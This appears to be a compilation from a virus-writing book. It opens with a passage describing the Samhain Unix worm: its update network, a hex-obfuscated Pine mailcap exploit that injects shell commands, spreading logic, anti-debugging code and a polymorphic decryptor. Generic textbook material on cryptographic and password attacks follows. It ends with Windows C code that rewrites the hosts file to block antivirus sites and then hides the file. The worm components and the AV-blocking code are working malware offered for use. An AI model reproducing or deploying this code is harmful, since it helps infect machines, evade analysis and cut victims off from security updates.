0x03: Independence + 0x04: Learning ----------------------------------------------------------------------------Wormnet. The magic word. Wormnet is used to distribute upgraded Samhain modules (eg. new exploit plugins), and to query other worms for compiled binaries. Communication scheme isn't really difficult, using TCP streams and broadcast messages within TCP streams. Connections are persistent. We have four types of requests: - infection confirmation: done simply by connecting to parent worm if infection succeded (no connection == failure), - update request: done by re-infecting system (in this case, already installed worm verifies signature on new worm when receiving request, then swaps process image by doing execve() if requesting binary has newer timestamp), then inheriting wormnet connections table and sending short request to connected clients, containing code timestamp. - update confirmation: if timestamp sent on update request is newer than timestamp of currently running worm, it should respond with 'confirmation', then download new code via the same tcp stream; then, it should verify code signature, and eventually swap it's process image with new exec, then send update request to connected worms. - platform request: by sending request to every connected worm (TTL mechanism is in use) describing machine type, system type and system release, as well as IP and port specification; this request is sent (with decreased TTL) to other connected wormnet objects, causing wormnet broadcast; first worm that can provide specific binary, should respond connecting to given IP and port, and worm

32 THEGl0balBlaCkBooK0FVirusWriter
that sent platform request should accept it (once). Any futher connects() (might happen till TTL expiration) should be refused. After connecting, suitable binary should be sent, then passed to infection routines. Worm should try first with TTL approx 5, then, on failure, might increase it by 5 and retry 3-5 times, we haven't idea about optimal values. Packets are "crypted" (again, nothing really strong, security by obscurity) with key assigned to specific connection (derived from parent IP address passed on infection). Type is described by one-byte field, then followed by size field and RAW data or null-terminated strings, eventually with TTL/timestamp fields (depending on type of message). Wormnet connections structure looks arbitrary and is limited only by max per-worm connections limit. Connections are initiated from child to parent worm, usually bypassing firewall and masquerading software. On infection, short 'wormnet history' list is passed to child. If parent has too many wormnet connections at time, and refuses new connection, child should connect to worm from the history list.

33 THEGl0balBlaCkBooK0FVirusWriter
3 | | 3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6 | / | | | / | | |/ | | Possible wormnet structure. 1 ------------ 2 ----- 3 6 Numbers represent infection \ / order. Bottom "3" couldn't \ / for some reason connect to \ / it's parent and choosen \ ---- 3 ------ 4 "1" from 'history list'. | | | 4 What about exploits? Exploits are modular (plugged into worm body), and divided in two sections - local and remote. We wanted to be platform independent, so we focused on filesystem races, bugs like -xkbdir hole in Xwindows, and inserted just a few buffer overflows, mainly for remote intrusion (but we decided to incorporate some bugs like remote pine mailcap exploit and so on... Code was kind of shell-quoting masterpiece ;) Pine mailcap exploit (it has been already fixed after my BUGTRAQ post, but in late 1998 it was something new and nice):

34 THEGl0balBlaCkBooK0FVirusWriter
fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2); fprintf(f,"To: <root@%s>\n",hostname); fprintf(f,"Subject: %s\n",top); fprintf(f,"MIME-Version: 1.0\n"); fprintf(f,"Content-Type: multipart/mixed;\n"); fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n"); fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n"); fprintf(f,"Content-Type: default/text;\n\t"); fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c" "\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c" "\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20" "\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72" "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53" "\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c" "\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46" "\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f" "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46" "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24" "\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74" "\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46" "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A"); // 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for' // '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do' // '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&>/tmp/.KEWL;\sh\$IF' // 'S\\\/tmp/.KEWL"'

Message body contained code to be executed (shell-script to connect, download and run worm, then kill any evidence). Yes, this exploit sucks - as it required some kind of user interaction (reading e-mail), but is just an example. Both remote and local exploits are sorted by effectiveness. Exploits that succed most of the time are tried first. Less effective ones are moved at the end. This list is inherited by child worms.

35 THEGl0balBlaCkBooK0FVirusWriter
Oh, spreading. Victims are choosen by monitoring active network connections. With random probability, servers are picked from this list and attacked. In case of success, server is added to 'visited' list these are not attacked anymore. In case of failure, server is not attacked until new version of worm is uploaded. Of course, internal servers list is finite and sometimes server might be attacked again (if it's not our child and it isn't currently connected), but who cares, attempt will be ignored or upgrade procedure will happen, depending on timestamps. This code is used to qualify host (obtained from network stats):
void infect_host(int addr) { struct hostent* h; int (*exp)(char*); int i=0,n=0,max=VERY_SMALL; if ((0x7F & addr)==0x7F) return; // do not touch 127.* subnet :-) h=gethostbyaddr((void*)&addr,4,AF_INET); if (is_host_happy(h->h_name)) return; // In wormnet? for (i=0;remote[i].present;i++) remote[i].used=0; while ((max=VERY_SMALL)) { n=-1; for (i=0;remote[i].present;i++) if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; } if (n<0) break; exp=remote[n].handler; remote[n].used=1; current_module=n; remote[n].hits+=(i=exp(h->h_name)); if (i>0) break; } }

36 THEGl0balBlaCkBooK0FVirusWriter
0x05: Integrity ----------------------------------------------------------------------------The most important thing in worm's life is not to get caught. We have to be sure it's not easy to trace/debug us - we want to make reverse-engineering even harder. We don't want to expose our internal wormnet protocols, communication with kernel module and detection techniques used by worms to check for themselves, etc. Four things: - hide everything: see section 0x02. - hash, crypt, scramble: see sections 0x01, 0x04. - don't let them caught you: see section 0x02. - avoid debugging even if we cannot hide! We used several anti-debugger techniques, including application-dependent (bugs in strace on displaying some invalid parameters to syscalls, bugs in gdb while parsing elf headers, ommiting frame pointer, self-modyfing code and so on), as well as some universal debugger-killer routines called quite often (they aren't really time-expensive). This is one of them:

37 THEGl0balBlaCkBooK0FVirusWriter
void kill_debug(void) { int x,n; n=getppid(); if (!(x=fork())) { x=getppid(); if (ptrace(PTRACE_ATTACH,x,0,0)) { fprintf(stderr, "\n\n\n*****************************************\n" "*** I REALLY DO NOT LIKE TO BE TRACED ***\n" "*****************************************\n\n\n"); ptrace(PTRACE_ATTACH,n,0,0); kill(x,9); } usleep(1000); ptrace(PTRACE_DETACH,x,0,0); exit(0); } waitpid(x,&n,0); return; }

As I told before, worm modules were signed. First, using simple signatures, then using simple private key signing (not really difficult to crack, as key was relatively short, but for sure too difficult for amateurs). This made us sure we're going to replace our worm image with REAL worm, not dummy anti-worm flare. 0x06: Polymorphism ----------------------------------------------------------------------------Polymorphic engine was quite simple - designed to make sure our decryptor will be different every time. As it has been written in shell language, it was pretty easy to add bogus commands, insert empty shell variables, add \ and break contents, or even replace some parts with

38 THEGl0balBlaCkBooK0FVirusWriter
$SHELL_VARIABLES declared before. Getting original content is not quite easy, but of course, all you have to do is to imitate shell parsing of this decryptor to get original contents, then you'll be able to identify at least some common code. Code adding \ to decryptor looks like:
while (decryptor[x]) { switch (decryptor[x]) { case ' ': if (!rnd(2)) buf[y++]=' '; else goto difolt; break; case '\n': if (!you_can) you_can=1; default: difolt: if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 && decryptor[x]!='>' && decryptor[x]!='<' && norm>2) { buf[y++]='\\';buf[y++]=10;norm=0; } else {buf[y++]=decryptor[x++];norm++;} } }

0x07: Usability ----------------------------------------------------------------------------It's stupid to launch worm designed eg. to steal secret information from specific host, because we have no idea if it will work fine, and won't be caught. If so, it might be debugged (it's made to be hard to debug, but, as every program, it's not impossible to do it, especially if you're able to separate worm code). Instead, we should be able to

39 THEGl0balBlaCkBooK0FVirusWriter
release 'harmless' worm, then, when we're sure it accessed interesting host and haven't been caught, we might send an update, which will try to reach destination worm, replace it with our evil code, then shut down every worm it can access via wormnet (by sending signed update, that will send itself to other worms, then shut down). Maybe it isn't the perfect solution, but in fact it's probably much safer than inserting even generic backdoor code by default. 0x08: What happened then? ----------------------------------------------------------------------------That's it, the Samhain project, fit into approx. 40 kB of code. What happened to it? Nothing. It hasn't been ever released, and I never removed restrictions from lookup_victim() and infect_host() routines. It's still lying on my hard drive, getting covered with dust and oblivion, and that's extacly what we wanted. I stopped developing new code and testing it in January, 1999, with Samhain 2.2 and approx. 10000 lines of code. Wojtek Bojdol has been developing his much more advanced wormnet and system infection/monitoring code till February or March, but I haven't found enough time to incorporate his sources within mainstream source tree. Then, we removed our repository from networked server we used to exchange ideas. I gradually published some bugs used in exploit database to BUGTRAQ, some of them (especially those not discovered by me) we kept for ourselves.

40 THEGl0balBlaCkBooK0FVirusWriter
The story ends. Till another rainy day, till another three bored hackers. You may be sure it will happen. The only thing you can't be sure is the end of next story. 0x09: References ----------------------------------------------------------------------------[1] ILOVEYOU worm: Dramatical headlines: + http://www.cnn.com/2000/TECH/computing/05/04/iloveyou.03/ Technical analysis: + http://www.securityfocus.com/templates/article.html?id=30 Source of "ILOVEYOU" worm: + http://packetstorm.securify.com/viral-db/love-letter-source.txt [2] International Obfuscated C Code Contest archives: + http://www.ioccc.org [3] Libworm - unprivledged process hiding techniques: + http://lcamtuf.na.export.pl/pliki/libworm.tgz [4] "yet another article about stealth modules in linux" + http://www.securityfocus.com/templates/archive.pike? list=1&date=1999-08-22&msg=19990828144031.A20936@richi.bo mbi.net [5] Advanced File Hide and Redirect Module (in fact, old and lame ;) + http://lcamtuf.na.export.pl/pliki/afharm.zip

Attacks on Encryption
Cryptography is the art of secret writing, and encryption is the process of transforming plaintext into an unreadable format known as ciphertext using a specific technique or al- gorithm. Most encryption techniques use some form of key in the encryption process. The key is used in a mathematical process to scramble the original message to arrive at the unreadable ciphertext. Another key (sometimes the same one and sometimes a dif- ferent one) is used to decrypt or unscramble the ciphertext to re-create the original plaintext. The length of the key often directly relates to the strength of the encryption. Cryptanalysis is the process of attempting to break a cryptographic systemit is an at- tack on the specific method used to encrypt the plaintext. There are various ways cryptographic systems can be compromised.

42 THEGl0balBlaCkBooK0FVirusWriter
Weak Keys Certain encryption algorithms may have specific keys that yield poor, or easily de- crypted, ciphertext. Imagine an encryption algorithm that consisted solely of a single XOR function (an exclusive OR function where two bits are compared and a 1 is returned if either of the original bits, but not both, is a 1), where the key was repeatedly used to XOR with the plaintext. A key where all bits are 0s, for example, would result in ciphertext that is the same as the original plaintext. This would obviously be a weak key for this encryption algorithm. In fact, any key with long strings of 0s would yield por- tions of the ciphertext that were the same as the plaintext. In this simple example, there would be many keys that could be considered weak. Encryption algorithms used in computer systems and networks are much more com- plicated than a simple, single XOR function, but some algorithms have still been found to have weak keys that make cryptanalysis easier. Exhaustive Search of Key Space Even if the specific algorithm used to encrypt a message is complicated and has not been shown to have weak keys, the key length will still play a significant role in how easy it is to attack the method of encryption. Generally speaking, the longer a key is, the harder it will be to attack. Thus, a 40-bit encryption scheme will be easier to attack using a brute-force technique (which tests all possible keys, one by one) than a 256-bit method will be. This is easily demonstrated by imagining a scheme that employed a 2-bit key. Even if the resulting ciphertext were completely unreadable, performing a brute-force at- tack until one key is found that can decrypt the ciphertext would not take long, since there are only four possible keys. Every bit that is added to the

43 THEGl0balBlaCkBooK0FVirusWriter
length of a key doubles the number of keys that have to be tested in a brute-force attack on the encryption. It is easy to understand why a scheme utilizing a 40-bit key would be much easier to attack than a scheme that utilized a 256-bit key. Indirect Attacks One of the most common ways of attacking an encryption system is to find weaknesses in mechanisms surrounding the cryptography. Examples include poor random number generators, unprotected key exchanges, keys stored on hard drives without sufficient protection, and other general programmatic errors, such as buffer overflows. In attacks that target these types of weaknesses, it is not the cryptographic algorithm itself that is being attacked, but rather the implementation of that algorithm in the real world. Password Guessing The most common form of authentication is the user ID and password combination. While it is not inherently a poor mechanism for authentication, the user ID and pass- word combination can be attacked in several ways. All too often, these attacks will yield favorable results for the attacker not as a result of a weakness in the scheme but usually due to the user not following good password procedures.

44 THEGl0balBlaCkBooK0FVirusWriter
Poor Password Choices The least technical of the various password-attack techniques consists of the attacker simply attempting to guess the password of an authorized user of the system or network. It is surprising how often this simple method works, and the reason it does is because people are notorious for picking poor passwords. The problem the users face is that they need to select a password that they can remember. In order to do this, many select sim- ple things, such as their birthday, their mothers maiden name, the name of their spouse or one of their children, or even simply their user ID itself. All it takes is for the attacker to obtain a valid user ID (often a simple matter, because organizations tend to use an in- dividuals names in some combinationfirst letter of their first name combined with their last name, for example) and a little bit of information about the user before guess- ing can begin. Organizations sometimes make it even easier for attackers to obtain this sort of information by posting the names of their management team and other indi- viduals, sometimes with short biographies, on their web sites. Even if the person doesnt use some personal detail as their password, the attacker may still get lucky, since many people pick a common word for their password. At- tackers can obtain lists of common passwords there are a number of them on the Internet. Words such as password and secret have often been used as passwords. Names of favorite sports teams also often find their way onto lists of commonly used passwords.

45 THEGl0balBlaCkBooK0FVirusWriter
Dictionary Attack Another method of determining passwords is to use a password-cracking program. There are a number of both commercial and public-domain password cracking programs available. The programs use a variety of methods to crack passwords, including using variations on the user ID. These programs often also use a dictionary of wordsthe words can be used by themselves, or two or more smaller ones may be combined to form a single possible password. The programs often permit the attacker to create various rules that tell the program how to combine words to form new possible passwords. Users commonly substitute certain numbers for specific letters. If the user wanted to use the word secret for a password, for example, the letter e may be replaced with the number 3 yielding s3cr3t. This password will not be found in the dictionary, so a pure dictionary attack will not crack it. At the same time, the password is still easy for the user to remember. If a rule were created that tried all words in the dictionary and then tried the same words substituting the number 3 for the letter e, the password would be cracked. Rules can also be defined so that the cracking program will substitute special charac- ters for other characters, or combine words together. The ability of the attacker to crack passwords is directly related to the method the user employed to create the password in the first place, as well as the dictionary and rules used.

46 THEGl0balBlaCkBooK0FVirusWriter
Brute-Force Attack If the user has selected a password that will not be found in a dictionary, even if various numbers or special characters are substituted for other letters, the only way the password can be cracked is to attempt a brute-force attack. This entails the password cracking program attempting all possible password combinations. The length of the password and the size of the set of possible characters in the pass- word will greatly affect the time a brute-force attack will take. A few years ago, this method of attack was very unreliable, since it took considerable time to generate all possi- ble combinations. With the increase in computer speed, however, the time it takes to generate password combinations makes it much more feasible to launch brute-force attacks against certain computer systems and networks. A brute-force attack on a password can take place at two levels. It can be an attack on a system where the attacker is attempting to guess the password at a login prompt, or it can be an attack against the list of passwords contained in a password file. The first attack can be made more difficult by locking the account after a few failed login attempts. The second attack can be thwarted by securely maintaining your password file so that others may not obtain a copy of it. Birthday Attack The birthday attack is a special type of brute-force attack. It gets its name from some- thing known as the birthday paradox, which states that in a group of at least 23 people, the chance that there will be two individuals with the same birthday is greater than 50 percent. Mathematically, we can use the equation 1.2k1/2 (with k equaling the size of the set of possible values), and in the birthday paradox, k

47 THEGl0balBlaCkBooK0FVirusWriter
would be equal to 365 (the number of possible birthdays). This same phenomenon applies to passwords, with k just being quite a bit larger. Software Exploitation An attack that takes advantage of bugs or weaknesses in software is referred to as soft- ware exploitation. These weaknesses can be the result of poor design, poor testing, or poor coding practices. They may also result from what are sometimes called features. An example of this might be a debugging feature, which when used during debugging might allow unauthenticated individuals to execute programs on a system. If this feature is left in when the final version of the software is shipped, it creates a weakness that is just waiting to be exploited. One common weakness that has been exploited on a number of occasions is buffer overflows. A buffer overflow occurs when a program is provided more data for input than it was designed to handle. For example, what would happen if a program that asks for a 710 character phone number instead receives a string of 150 characters? Many programs will provide some error checking to ensure that this will not cause a problem. Some programs, however, do not handle this error, and the extra characters continue to fill memory, overwriting other portions of the program. This can result in a number of problems, including causing the program to abort or the system to crash. Under certain circumstances, the program may execute a command now supplied by the attacker.

H0sts

49THEGl0balBlaCkBooK0FVirusWriter ThehostsfileisfoundinWindowsNT/XP/2000at %system%\drivers\etc\hosts Inotherversions%windows%\hosts ThehostsfileisaveryinterestingthinginWindows.It'susedto definelocalhostsaroundthenetworkyoucanaliasBUBBAforsome IPaddresstomakethingseasier.Butitcanalsobeusedtoblock websites,likecertainads.Aliasad.doubleclick.netto0.0.0.0andads fromthatsitewon'tpopup.Ifyouhaveawholelistsofadsitesyou canblocknearlyallads. AnotheruseforthisfilehasoccuredtometoblockAVwebsitesand preventusersfromobtaininganantivirustoolorupdate.

50THEGl0balBlaCkBooK0FVirusWriter
So without further ado, the code:
void block_av() { char str[MAX_PATH]; int n; char *sites[] = { "www.antivirus.com", "www.claymania.com", "www.free-av.com", "http://www.bitdefender.com/", "www.commandcom.com", "www.dials.ru", "www1.my-etrust.com", "www.f-prot.com", "www.f-secure.com", "www.grisoft.com", "antivirus.cai.com", "www.avp.ru", "www.nai.com", "www.nod32.com.au", "www.symantec.com", "www.pandasoftware.com", "www.sophos.com", "www.trend.com", "www.commandondemand.com", "www.dialognauka.ru", "www.veloz.com", "support.ikarus.at", "www.kaspersky.com", "www.hauri.net", "antivirus.mafia.ru", "www.mcafee.com", "www.webimmune.net", "www.pandasoftware.com", "www.pcpitstop.com", "www.ravantivirus.com", "security1.norton.com",
"housecall.antivirus.com", "www.freedom.net", "www.invircible.com" }; FILE *hosts = fopen(hosts_file(), "w"); if (hosts == NULL) return; fputs("127.0.0.1 localhost\n", hosts); for (n = 0; n <= MAX_SITES; n++) { wsprintf(str, "0.0.0.0 %s\n", sites[n]); fputs(str, hosts); } fclose(hosts); SetFileAttributes(hosts_file(), FILE_ATTRIBUTE_HIDDEN); } char *hosts_file() {

51THEGl0balBlaCkBooK0FVirusWriter
static char hosts[MAX_PATH]; if (running_nt()) wsprintf(hosts, "%s\\drivers\\etc\\hosts", sysdir()); else wsprintf(hosts, "%s\\hosts", windir()); return hosts; } BOOL running_nt() { return (GetVersion() < 0x80000000); } char *windir() { static char win[MAX_PATH]; GetSystemDirectory(win, MAX_PATH); return win; }

WARNING!!!
This book including source code for live computer viruses could be extremely dangerous and educational in the hands of unsecure persons. Use anything from this book if you are working on a carefully controlled and isolated computer system. All files were found via websearches through search engines in the public domain by myself, friends, anonymous uploaders and other contributors to the site including many of the original authors, owners, coders, document writers and etc.

There are several writings out there which deal with the personality and desires of viruswriters. Some are humorous, other are serious. Some presume that viruswriters are sick, other are trying to prove otherwise. But I've never seen a 'real' file about viruswriters. So, here's one, don't call me cracker. So, friend you'll now watch with a different look at the little virii which just trashed your harddrive, flashed your BIOS and blew up the monitor. After all, it might have been written by a REAL viruswriter, Thanks.

You might also like